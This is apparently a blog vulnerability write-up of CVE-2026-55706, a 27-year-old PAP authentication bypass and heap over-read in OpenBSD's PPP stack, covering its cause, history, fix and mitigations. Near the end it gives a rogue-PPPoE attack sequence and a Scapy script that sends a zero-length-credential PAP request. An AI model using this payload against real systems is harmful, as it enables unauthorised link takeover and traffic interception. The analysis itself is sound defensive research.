
sys/net/if_spppsubr.c) for 27 years. Image: OpenBSD console, Wikimedia Commons.Executive Summary
OpenBSD’s synchronous-PPP layer contained a textbook length-confusion bug in its PAP (Password Authentication Protocol) handler. When the kernel compared the credentials a peer presented against the credentials it expected, it used the attacker-supplied length fields as the comparison length passed to bcmp(). Because bcmp(a, b, 0) always returns 0 — “equal” — an attacker who sent a PAP Authentication-Request with a zero-length name and a zero-length password sailed straight through authentication. The only bounds check rejected lengths above 255; zero passed unchallenged.
The same code path carried a second defect: when the supplied name length exceeded the size of the dynamically allocated credential buffer, bcmp() read past the end of the allocation — a heap over-read. Both issues were reachable over PPPoE with no prior knowledge of any credential, meaning a rogue PPPoE server in the same broadcast domain could authenticate to a victim and man-in-the-middle its traffic. The flaw was introduced via a FreeBSD import on 1 July 1999 and was finally fixed on 14 June 2026 — roughly 27 years later — as CVE-2026-55706.
The Bug
The vulnerable logic lived in sppp_pap_input() inside sys/net/if_spppsubr.c. PAP is the simplest of the PPP authentication methods: the peer literally sends a name and a password in cleartext, and the server compares them against what it has on file. The kernel parsed two length-prefixed fields out of the Authentication-Request packet — name_len and passwd_len — and then performed the comparison like this:
if (name_len > AUTHMAXLEN ||
passwd_len > AUTHMAXLEN ||
bcmp(name, sp->hisauth.name, name_len) != 0 ||
bcmp(passwd, sp->hisauth.secret, passwd_len) != 0) {
/* authentication failed */
Read that comparison carefully, because the entire CVE is hiding in plain sight. The lengths used by both bcmp() calls are name_len and passwd_len — values that come straight off the wire, fully under the attacker’s control. The guard above them only enforces an upper bound: AUTHMAXLEN is 255, so anything from 0 to 255 is accepted. There is no lower bound and, crucially, no check that the attacker’s length actually matches the length of the stored credential.
Now recall the semantics of bcmp(s1, s2, n): it compares n bytes and returns 0 when they are equal. When n is 0, there is nothing to compare, so it returns 0 unconditionally — the “credentials match” verdict — no matter what is in either buffer. Send name_len = 0 and passwd_len = 0 and both bcmp() calls evaluate to 0. The whole if condition is false, the “authentication failed” branch is skipped, and the kernel treats you as authenticated. You never need to know the real username or password; you simply decline to provide any bytes for either.
The second defect: a heap over-read
The same missing length-equality check produces a memory-safety bug at the other end of the range. The expected credentials (sp->hisauth.name and sp->hisauth.secret) are stored in dynamically allocated buffers sized to the configured credential. If an attacker supplies a name_len larger than the stored name — say 200 bytes against a 6-byte configured username — then bcmp(name, sp->hisauth.name, name_len) reads up to 200 bytes out of a 6-byte allocation. That is an out-of-bounds read of adjacent kernel heap memory (CWE-125). It will usually just cause the comparison to fail, but the read itself is the vulnerability: it can fault or, depending on heap layout, leak information through timing or side effects. The root cause is identical to the bypass — the comparison length is decoupled from the actual size of the data being compared.
27 Years of History
How does a one-line logic error survive nearly three decades in one of the most security-conscious operating systems in existence? The answer is a familiar one: the bug was inherited, the early guards looked sufficient, and a later refactor quietly widened the gap.
The synchronous-PPP code entered OpenBSD on 1 July 1999 through an import from FreeBSD, which had in turn picked it up from Cronyx Engineering’s mid-1990s implementation. In that original version the bounds checks were per-field rather than unified — name_len > AUTHNAMELEN (64) and passwd_len > AUTHKEYLEN (16) — but they shared the same fatal property as the modern code: they rejected oversized lengths and silently permitted zero. The zero-length bypass was present from day one.
A refactor on 16 February 2009 changed the authentication fields to dynamically allocated buffers and replaced the two separate constants with a single AUTHMAXLEN bound. That change is what introduced the heap over-read: by decoupling the size of the allocation from the length used in the comparison, it allowed name_len to exceed the real buffer size. The bypass was already there; 2009 simply added a memory-safety bug on top of it.
The bitter irony is that the fix already existed a few lines away. The CHAP handler in the same file had always done the right thing: before calling bcmp(), it checked that the supplied length exactly equaled the length of the stored value.
if (name_len != strlen(sp->hisauth.name)
|| bcmp(name, sp->hisauth.name, name_len) != 0) {
That single extra clause — name_len != strlen(...) — defeats both attacks at once. It rejects a zero-length name (because 0 != strlen("realname")) and it rejects an oversized name (because the lengths differ), so bcmp() is only ever reached with a length that equals the real credential. CHAP had this guard for the entire 27 years. PAP never received it.
Reachability and Impact
A bug is only as serious as the path that reaches it. Here, the path is short and requires no credentials. PAP input is driven directly by inbound PPPoE frames through the following chain inside the kernel:
Because PPPoE discovery and session traffic ride on raw Ethernet, the attacker only needs to be in the same broadcast domain (Layer 2 adjacency) as the target. A practical attack stands up a rogue PPPoE server and walks the victim through a normal-looking session, except that the PAP step carries empty credentials:
- PPPoE Discovery — the attacker answers the victim’s PADI with PADO, and completes PADR/PADS to open a session.
- LCP negotiation — standard Link Control Protocol setup, agreeing on options and selecting PAP as the authentication method.
- PAP authentication — the attacker sends an Authentication-Request with
name_len = 0andpasswd_len = 0. The kernel returns a PAP-ACK. - IPCP negotiation — IP addresses are assigned and the link comes fully up.
- Traffic interception — the link is established; the rogue server can now route, observe and manipulate the victim’s traffic.
No password guessing, no brute force, no prior secret. The authentication step that was supposed to stop an unknown peer simply waves it through. In classification terms this is an authentication bypass (CWE-288) caused by an incorrect comparison (CWE-697), with the additional out-of-bounds read (CWE-125) on the same path.
| Property | Value |
|---|---|
| CVE | CVE-2026-55706 |
| Component | sppp_pap_input() in sys/net/if_spppsubr.c |
| Bug classes | Auth bypass (CWE-288) via incorrect comparison (CWE-697); heap over-read (CWE-125) |
| Attack vector | Adjacent (Layer 2 / same broadcast domain) over PPPoE |
| Privileges / interaction | None / none — no credentials required |
| Introduced | 1999-07-01 (FreeBSD import; zero-length bypass) · 2009-02-16 (refactor adds over-read) |
| Fixed | 2026-06-14 by mvs |
The Fix
The correction is exactly the pattern CHAP had used all along: pre-check that each supplied length equals the length of the corresponding stored credential before letting bcmp() run. Applied to both fields, it looks like this:
if (name_len != strlen(sp->hisauth.name) ||
passwd_len != strlen(sp->hisauth.secret) ||
bcmp(name, sp->hisauth.name, name_len) != 0 ||
bcmp(passwd, sp->hisauth.secret, passwd_len) != 0) {
Two new clauses do all the work. name_len != strlen(sp->hisauth.name) rejects any name whose length differs from the configured name — killing both the zero-length bypass and the oversized over-read — and the matching clause does the same for the password. Thanks to C’s short-circuit evaluation of ||, the bcmp() calls now only execute when the lengths already match, so the comparison length can never exceed the real allocation. One length check, both bugs closed. The fix landed on 14 June 2026 by developer mvs as commit 076e2b1c.
Proof of Concept
The original write-up demonstrated the bypass with a script that impersonates a PPPoE server: it completes discovery and LCP, then transmits a PAP Authentication-Request with zero-length name and password fields. The target OpenBSD machine replies with a PAP-ACK, IPCP completes, and the link reaches full operation — including ICMP echo replies across it. The script’s console output is reproduced verbatim below.
PAP_ACK received with empty credentials
VM accepted name_len=0, passwd_len=0 as valid auth.
IPCP Config-Ack received — link is UP (us=10.0.0.2 peer=10.0.0.1)
ICMP echo reply from 10.0.0.1
FULL LINK ESTABLISHED
To make the mechanism concrete, here is an illustrative Scapy sketch of the decisive step — the malformed PAP Authentication-Request. It is not a turnkey exploit (a real run needs the full PPPoE discovery and LCP/IPCP state machine), but it shows precisely what “zero-length credentials” looks like on the wire: an Auth-Request whose name and password length octets are both 0x00 and whose payload is therefore empty.
#!/usr/bin/env python3
# Illustrative only: the empty-credential PAP Auth-Request at the heart of CVE-2026-55706.
# Authorized testing in a lab you own. Requires Scapy and the PPPoE/PPP layers.
from scapy.all import Ether, PPPoE, PPP, sendp
VICTIM_MAC = "aa:bb:cc:dd:ee:ff" # target OpenBSD box (same L2 segment)
ROGUE_MAC = "00:11:22:33:44:55" # our rogue PPPoE server
SESSION_ID = 0x0001 # from the completed PADS handshake
# PAP packet body (RFC 1334):
# code=1 (Authenticate-Request), id, length,
# peer-id-length, peer-id, passwd-length, passwd
#
# The bug: name_len and passwd_len are attacker-controlled and used as the
# bcmp() length. Set BOTH length octets to 0 -> bcmp(buf, ref, 0) == 0 -> "match".
pap_code = 0x01 # Authenticate-Request
pap_id = 0x01
peer_id_len = 0x00 # <-- zero-length name
passwd_len = 0x00 # <-- zero-length password
body = bytes([pap_code, pap_id, 0x00, 0x06, peer_id_len, passwd_len])
# PPP protocol 0xc023 = PAP
frame = (Ether(src=ROGUE_MAC, dst=VICTIM_MAC)
/ PPPoE(version=1, type=1, code=0x00, sessionid=SESSION_ID)
/ PPP(proto=0xc023)
/ body)
sendp(frame, iface="eth0", verbose=True)
print("[*] Sent PAP Auth-Request with name_len=0, passwd_len=0 -- expect PAP-ACK")
The point is the two zero length-octets. On a patched kernel the new name_len != strlen(...) clauses reject the packet outright; on a vulnerable kernel the empty fields satisfy both bcmp() calls and the box answers with a PAP-ACK.
Timeline
| Date | Event |
|---|---|
| 1999-07-01 | Vulnerable synchronous-PPP code imported into OpenBSD from FreeBSD (zero-length bypass present). |
| 2009-02-16 | Refactor to dynamically allocated auth fields with a unified AUTHMAXLEN bound — introduces the heap over-read. |
| 2026-06-12 | Vulnerability reported. |
| 2026-06-14 | Fix committed by mvs (CVE-2026-55706). |
Key Takeaways
- Never derive a comparison length from attacker input. The length passed to
bcmp()/memcmp()must come from the trusted side — the size of the stored secret — not from the packet. bcmp(a, b, 0) == 0is “equal.” Any equality check whose length can reach zero is a latent authentication bypass.- Upper bounds are not enough. The
> AUTHMAXLENguard felt like validation, but a missing lower/exact bound is what mattered. - Decoupling allocation size from comparison size invites memory bugs. The 2009 refactor added the over-read precisely by breaking that coupling.
- Inconsistent siblings are a smell. CHAP did the exact-length check; PAP did not. Divergent handling of two near-identical code paths is a strong audit signal.
- Inherited code inherits bugs. A defect imported from another project can outlive everyone’s memory of where it came from — here, 27 years.
Defensive Recommendations
- Patch. Update to an OpenBSD build that includes commit
076e2b1c(errata for the supported releases). This is the only complete fix. - Disable PAP where you can. If you must run PPP authentication, prefer CHAP/EAP over PAP; PAP transmits credentials in cleartext and was the weaker handler here.
- Constrain Layer 2. PPPoE attacks need broadcast-domain adjacency. Use port security, VLAN segmentation and PPPoE intermediate-agent / access-control features on switches to keep rogue PPPoE servers off client segments.
- Pin the expected server. Where supported, configure PPPoE clients with an expected Access-Concentrator name / service name so they don’t blindly accept the first PADO that answers.
- Monitor for rogue PPPoE. Alert on unexpected PADO/PADS frames and on multiple PPPoE servers appearing in a segment that should have one.
- Audit your own comparison code. Grep for
bcmp/memcmp/strncmpcalls whose length argument traces back to network input, and add exact-length pre-checks for any secret comparison. - Reduce attack surface. If a host does not need the synchronous-PPP / PPPoE stack, ensure it is not configured to process those frames.
Conclusion
CVE-2026-55706 is a reminder that the oldest, dullest-looking code can hold the sharpest edges. A single missing length-equality check turned a cleartext password comparison into a no-password-required authentication bypass, with a heap over-read riding alongside it, reachable by anyone on the same wire. The fix is two clauses long and was sitting in the neighbouring CHAP handler the entire time. The lesson for anyone auditing parsers and authenticators is blunt: trust the length of your secret, never the length your peer claims — and when two sibling code paths handle the same problem differently, find out why before an attacker does.
Original text: “A 27-Year-Old Authentication Bypass in OpenBSD’s PPP Stack” by Argus at Argus Blog.

